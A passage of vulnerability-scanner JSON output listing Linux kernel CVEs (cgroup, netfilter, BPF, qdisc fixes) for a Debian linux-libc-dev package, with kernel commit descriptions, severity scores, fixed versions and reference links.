cgroup_kn_lock_live()\n cgroup_get(cgrp)\n cgroup_kn_unlock()\n if (ctx-\u003epsi.trigger) // here, trigger uaf for ctx, that is of-\u003epriv\n\nThe cgroup_rmdir() is protected by the cgroup_mutex, it also safeguards\nthe memory deallocation of of-\u003epriv performed within cgroup_file_release().\nHowever, the operations involving of-\u003epriv executed within pressure_write()\nare not entirely covered by the protection of cgroup_mutex. Consequently,\nif the code in pressure_write(), specifically the section handling the\nctx variable executes after cgroup_file_release() has completed, a uaf\nvulnerability involving of-\u003epriv is triggered.\n\nTherefore, the issue can be resolved by extending the scope of the\ncgroup_mutex lock within pressure_write() to encompass all code paths\ninvolving of-\u003epriv, thereby properly synchronizing the race condition\noccurring between cgroup_file_release() and pressure_write().\n\nAnd, if an live kn lock can be successfully acquired while executing\nthe pressure write operation, it indicates that the cgroup deletion\nprocess has not yet reached its final stage; consequently, the priv\npointer within open_file cannot be NULL. Therefore, the operation to\nretrieve the ctx value must be moved to a point *after* the live kn\nlock has been successfully acquired.\n\nIn another situation, specifically after entering cgroup_kn_lock_live()\nbut before acquiring cgroup_mutex, there exists a different class of\nrace condition:\n\nCPU0: write memory.pressure CPU1: write cgroup.pressure=0\n===========================\t\t =============================\n\nkernfs_fop_write_iter()\n kernfs_get_active_of(of)\n pressure_write()\n cgroup_kn_lock_live(memory.pressure)\n cgroup_tryget(cgrp)\n kernfs_break_active_protection(kn)\n ... blocks on cgroup_mutex\n\n \t cgroup_pressure_write()\n \t cgroup_kn_lock_live(cgroup.pressure)\n \t cgroup_file_show(memory.pressure, false)\n \t kernfs_show(false)\n \t kernfs_drain_open_files()\n \t cgroup_file_release(of)\n \t kfree(ctx)\n \t of-\u003epriv = NULL\n \t cgroup_kn_unlock()\n\n ... acquires cgroup_mutex\n ctx = of-\u003epriv; // may now be NULL\n if (ctx-\u003epsi.trigger) // NULL dereference\n\nConsequently, there is a possibility that of-\u003epriv is NULL, the pressure\nwrite needs to check for this.\n\nNow that the scope of the cgroup_mutex has been expanded, the original\nexplicit cgroup_get/put operations are no longer necessary, this is\nbecause acquiring/releasing the live kn lock inherently executes a\ncgroup get/put operation.\n\n[1]\nBUG: KASAN: slab-use-after-free in pressure_write+0xa4/0x210 kernel/cgroup/cgroup.c:4011\nCall Trace:\n pressure_write+0xa4/0x210 kernel/cgroup/cgroup.c:4011\n cgroup_file_write+0x36f/0x790 kernel/cgroup/cgroup.c:43\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-362", "CWE-367" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57251", "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/errata/RHSA-2026:57253", "https://access.redhat.com/errata/RHSA-2026:57254", "https://access.redhat.com/security/cve/CVE-2026-52991", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/a5b98009f16d8a5fb4a8ff9a193f5735515c38fa%20%287.1-rc2%29", "https://git.kernel.org/stable/c/03dc070fa0fc3cb4068693f468ccd5f8a7e58282", "https://git.kernel.org/stable/c/58e6ca11e45c9d6e52255d1135e7dbff0a360334", "https://git.kernel.org/stable/c/a5b98009f16d8a5fb4a8ff9a193f5735515c38fa", "https://git.kernel.org/stable/c/af0638534bfae7980582c6482531a0872f8ee341", "https://git.kernel.org/stable/c/d4352c0709bfd38c752fccbde7fd72a82ac78f23", "https://git.kernel.org/stable/c/d8ddbc3330fa6851c56b046e630a8fc64830a0ce", "https://linux.oracle.com/cve/CVE-2026-52991.html", "https://linux.oracle.com/errata/ELSA-2026-57253.html", "https://lore.kernel.org/linux-cve-announce/2026062444-CVE-2026-52991-18fe@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52991", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52991.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-52991" ], "PublishedDate": "2026-06-24T17:17:09.953Z", "LastModifiedDate": "2026-10-30T13:19:05.697Z" }, { "VulnerabilityID": "CVE-2026-53000", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53000", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4514a2b2133652501d8cbd582d722f1fc86506adc9dbdda2c49199576111a16d", "Title": "kernel: netfilter: nat: use kfree_rcu to release ops", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nat: use kfree_rcu to release ops\n\nFlorian Westphal says:\n\n\"Historically this is not an issue, even for normal base hooks: the data\npath doesn't use the original nf_hook_ops that are used to register the\ncallbacks.\n\nHowever, in v5.14 I added the ability to dump the active netfilter\nhooks from userspace.\n\nThis code will peek back into the nf_hook_ops that are available\nat the tail of the pointer-array blob used by the datapath.\n\nThe nat hooks are special, because they are called indirectly from\nthe central nat dispatcher hook. They are currently invisible to\nthe nfnl hook dump subsystem though.\n\nBut once that changes the nat ops structures have to be deferred too.\"\n\nUpdate nf_nat_register_fn() to deal with partial exposition of the hooks\nfrom error path which can be also an issue for nfnetlink_hook.", "Severity": "HIGH", "CweIDs": [ "CWE-763" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:55445", "https://access.redhat.com/errata/RHSA-2026:64808", "https://access.redhat.com/errata/RHSA-2026:67720", "https://access.redhat.com/errata/RHSA-2026:68100", "https://access.redhat.com/security/cve/CVE-2026-53000", "https://bugzilla.redhat.com/2370992", "https://bugzilla.redhat.com/2492097", "https://bugzilla.redhat.com/2492273", "https://bugzilla.redhat.com/2502527", "https://bugzilla.redhat.com/2507061", "https://bugzilla.redhat.com/2507096", "https://bugzilla.redhat.com/2507129", "https://bugzilla.redhat.com/2507287", "https://bugzilla.redhat.com/show_bug.cgi?id=2370992", "https://bugzilla.redhat.com/show_bug.cgi?id=2492097", "https://bugzilla.redhat.com/show_bug.cgi?id=2492273", "https://bugzilla.redhat.com/show_bug.cgi?id=2502527", "https://bugzilla.redhat.com/show_bug.cgi?id=2507061", "https://bugzilla.redhat.com/show_bug.cgi?id=2507096", "https://bugzilla.redhat.com/show_bug.cgi?id=2507129", "https://bugzilla.redhat.com/show_bug.cgi?id=2507287", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38004", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52933", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64287", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64384", "https://errata.almalinux.org/9/ALSA-2026-64808.html", "https://errata.rockylinux.org/RLSA-2026:64808", "https://git.kernel.org/linus/6eda0d771f94267f73f57c94630aa47e90957915%20%287.1-rc1%29", "https://git.kernel.org/stable/c/050f98e56782b14677c5bae50800e60775bbf6bb", "https://git.kernel.org/stable/c/32fdd2e38e7435a368d88f5977a7d6585ebc8b0e", "https://git.kernel.org/stable/c/3c7511f38ab511b791196b13ae48bf4973bf7dfd", "https://git.kernel.org/stable/c/6eda0d771f94267f73f57c94630aa47e90957915", "https://git.kernel.org/stable/c/bf17f1d3b307196d9282c4b1dd8be0d0e5f8e529", "https://git.kernel.org/stable/c/ede973d62d26d9c550269af05366ab9e30fc92ee", "https://linux.oracle.com/cve/CVE-2026-53000.html", "https://linux.oracle.com/errata/ELSA-2026-64808-0.html", "https://lore.kernel.org/linux-cve-announce/2026062447-CVE-2026-53000-2568@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53000", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53000.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-53000" ], "PublishedDate": "2026-06-24T17:17:11.047Z", "LastModifiedDate": "2026-10-30T13:19:06.473Z" }, { "VulnerabilityID": "CVE-2026-53089", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53089", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b34909f8916585953a81b192ae16c9e50d5ccff14eb72bc5577aadd39d313ce7", "Title": "kernel: bpf: Fix use-after-free in offloaded map/prog info fill", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix use-after-free in offloaded map/prog info fill\n\nWhen querying info for an offloaded BPF map or program,\nbpf_map_offload_info_fill_ns() and bpf_prog_offload_info_fill_ns()\nobtain the network namespace with get_net(dev_net(offmap-\u003enetdev)).\nHowever, the associated netdev's netns may be racing with teardown\nduring netns destruction. If the netns refcount has already reached 0,\nget_net() performs a refcount_t increment on 0, triggering:\n\n refcount_t: addition on 0; use-after-free.\n\nAlthough rtnl_lock and bpf_devs_lock ensure the netdev pointer remains\nvalid, they cannot prevent the netns refcount from reaching zero.\n\nFix this by using maybe_get_net() instead of get_net(). maybe_get_net()\nuses refcount_inc_not_zero() and returns NULL if the refcount is already\nzero, which causes ns_get_path_cb() to fail and the caller to return\n-ENOENT -- the correct behavior when the netns is being destroyed.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53089", "https://git.kernel.org/linus/a0c584fc18056709c8e047a82a6045d6c209f4ce%20%287.1-rc1%29", "https://git.kernel.org/stable/c/1a2dc103e16448d022a77ad5fc3234641436c4b7", "https://git.kernel.org/stable/c/43d6848a2a6c92ccfd614d9f0bb6fd85b95dfa9d", "https://git.kernel.org/stable/c/5662dac41a3442aa378d7c405164903eb109fc05", "https://git.kernel.org/stable/c/642943ae5bdacabc8109dc4a5e0ebb4a6b99ef3e", "https://git.kernel.org/stable/c/85dc711f742b192eb97c0e00b521312f5a7a415e", "https://git.kernel.org/stable/c/a0c584fc18056709c8e047a82a6045d6c209f4ce", "https://git.kernel.org/stable/c/a51e7fbe94a87e236631a83973d4f558310b2cd2", "https://git.kernel.org/stable/c/fea55b034328feaafef75aee252f305e6f85a991", "https://linux.oracle.com/cve/CVE-2026-53089.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026062409-CVE-2026-53089-fdd8@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53089", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53089" ], "PublishedDate": "2026-06-24T17:17:23.097Z", "LastModifiedDate": "2026-11-06T17:18:05.513Z" }, { "VulnerabilityID": "CVE-2026-53091", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53091", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cfa8b8afdc21606f4118e8454ea7574e3813dcbe2abf7384a24dac2da376df81", "Title": "kernel: net: pull headers in qdisc_pkt_len_segs_init()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: pull headers in qdisc_pkt_len_segs_init()\n\nMost ndo_start_xmit() methods expects headers of gso packets\nto be already in skb-\u003ehead.\n\nnet/core/tso.c users are particularly at risk, because tso_build_hdr()\ndoes a memcpy(hdr, skb-\u003edata, hdr_len);\n\nqdisc_pkt_len_segs_init() already does a dissection of gso packets.\n\nUse pskb_may_pull() instead of skb_header_pointer() to make\nsure drivers do not have to reimplement this.\n\nSome malicious packets could be fed, detect them so that we can\ndrop them sooner with a new SKB_DROP_REASON_SKB_BAD_GSO drop_reason.", "Severity": "HIGH", "CweIDs": [ "CWE-131" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:65334", "https://access.redhat.com/errata/RHSA-2026:66324", "https://access.redhat.com/errata/RHSA-2026:66325", "https://access.redhat.com/errata/RHSA-2026:67150", "https://access.redhat.com/security/cve/CVE-2026-53091", "https://bugzilla.redhat.com/2425039", "https://bugzilla.redhat.com/2454867", "https://bugzilla.redhat.com/2460699", "https://bugzilla.redhat.com/2461451", "https://bugzilla.redhat.com/2461525", "https://bugzilla.redhat.com/2464093", "https://bugzilla.redhat.com/2468050", "https://bugzilla.redhat.com/2468192", "https://bugzilla.redhat.com/2468244", "https://bugzilla.redhat.com/2492092", "https://bugzilla.redhat.com/2492115", "https://bugzilla.redhat.com/2492270", "https://bugzilla.redhat.com/2492310", "https://bugzilla.redhat.com/2492408", "https://bugzilla.redhat.com/2492432", "https://bugzilla.redhat.com/2492717", "https://bugzilla.redhat.com/2492722", "https://bugzilla.redhat.com/2492762", "https://bugzilla.redhat.com/2492771", "https://bugzilla.redhat.com/2492795", "https://bugzilla.redhat.com/2502254", "https://bugzilla.redhat.com/2502320", "https://bugzilla.redhat.com/2502331", "https://bugzilla.redhat.com/2502346", "https://bugzilla.redhat.com/2502388", "https://bugzilla.redhat.com/2502413", "https://bugzilla.redhat.com/2502446", "https://bugzilla.redhat.com/2502473", "https://bugzilla.redhat.com/2502477", "https://bugzilla.redhat.com/2502518", "https://bugzilla.redhat.com/2502541", "https://bugzilla.redhat.com/2506782", "https://bugzilla.redhat.com/2507292", "https://bugzilla.redhat.com/2513141", "https://bugzilla.redhat.com/2513177", "https://bugzilla.redhat.com/2513253", "https://bugzilla.redhat.com/2513324", "https://bugzilla.redhat.com/2513397", "https://bugzilla.redhat.com/2513408", "https://bugzilla.redhat.com/2513452", "https://bugzilla.redhat.com/2513474", "https://bugzilla.redhat.com/2516501", "https://bugzilla.redhat.com/show_bug.cgi?id=2425039", "https://bugzilla.redhat.com/show_bug.cgi?id=2454867", "https://bugzilla.redhat.com/show_bug.cgi?id=2460699", "https://bugzilla.redhat.com/show_bug.cgi?id=2461451", "https://bugzilla.redhat.com/show_bug.cgi?id=2461525", "https://bugzilla.redhat.com/show_bug.cgi?id=2464093", "https://bugzilla.redhat.com/show_bug.cgi?id=2468050", "https://bugzilla.redhat.com/show_bug.cgi?id=2468192", "https://bugzilla.redhat.com/show_bug.cgi?id=2468244", "https://bugzilla.redhat.com/show_bug.cgi?id=2492092", "https://bugzilla.redhat.com/show_bug.cgi?id=2492115", "https://bugzilla.redhat.com/show_bug.cgi?id=2492270", "https://bugzilla.redhat.com/show_bug.cgi?id=2492310", "https://bugzilla.redhat.com/show_bug.cgi?id=2492408", "https://bugzilla.redhat.com/show_bug.cgi?id=2492432", "https://bugzilla.redhat.com/show_bug.cgi?id=2492717", "https://bugzilla.redhat.com/show_bug.cgi?id=2492722", "https://bugzilla.redhat.com/show_bug.cgi?id=2492762", "https://bugzilla.redhat.com/show_bug.cgi?id=2492771", "https://bugzilla.redhat.com/show_bug.cgi?id=2492795", "https://bugzilla.redhat.com/show_bug.cgi?id=2502254", "https://bugzilla.redhat.com/show_bug.cgi?id=2502320", "https://bugzilla.redhat.com/show_bug.cgi?id=2502331", "https://bugzilla.redhat.com/show_bug.cgi?id=2502346", "https://bugzilla.redhat.com/show_bug.cgi?id=2502388", "https://bugzilla.redhat.com/show_bug.cgi?id=2502413", "https://bugzilla.redhat.com/show_bug.cgi?id=2502446", "https://bugzilla.redhat.com/show_bug.cgi?id=2502473", "https://bugzilla.redhat.com/show_bug.cgi?id=2502477", "https://bugzilla.redhat.com/show_bug.cgi?id=2502518", "https://bugzilla.redhat.com/show_bug.cgi?id=2502541", "https://bugzilla.redhat.com/show_bug.cgi?id=2506782", "https://bugzilla.redhat.com/show_bug.cgi?id=2507292", "https://bugzilla.redhat.com/show_bug.cgi?id=2513141", "https://bugzilla.redhat.com/show_bug.cgi?id=2513177", "https://bugzilla.redhat.com/show_bug.cgi?id=2513253", "https://bugzilla.redhat.com/show_bug.cgi?id=2513324", "https://bugzilla.redhat.com/show_bug.cgi?id=2513397", "https://bugzilla.redhat.com/show_bug.cgi?id=2513408", "https://bugzilla.redhat.com/show_bug.cgi?id=2513452", "https://bugzilla.redhat.com/show_bug.cgi?id=2513474", "https://bugzilla.redhat.com/show_bug.cgi?id=2516501", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68745", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31566", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31656", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31692", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43334", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43368", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43370", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52918", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53091", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53182", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53246", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53254", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63889", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63944", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63945", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63946", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63975", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64113", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68086", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68264", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68315", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68376", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72098", "https://errata.almalinux.org/9/ALSA-2026-67150.html", "https://errata.rockylinux.org/RLSA-2026:67150", "https://git.kernel.org/linus/7fb4c19670110f052c04e1ec1d2b953b9f4f57e4%20%287.1-rc1%29", "https://git.kernel.org/stable/c/5895cfc76924a629c6eaa5e5f049de642860045f", "https://git.kernel.org/stable/c/7564dc804d8289d2e5c6edb8173754051b71bff4", "https://git.kernel.org/stable/c/7fb4c19670110f052c04e1ec1d2b953b9f4f57e4", "https://git.kernel.org/stable/c/9d4f5c68f5ad4ab425f3ce1500c97c9f9743999a", "https://linux.oracle.com/cve/CVE-2026-53091.html", "https://linux.oracle.com/errata/ELSA-2026-67150-0.html", "https://lore.kernel.org/linux-cve-announce/2026062409-CVE-2026-53091-cb58@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53091", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53091.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", 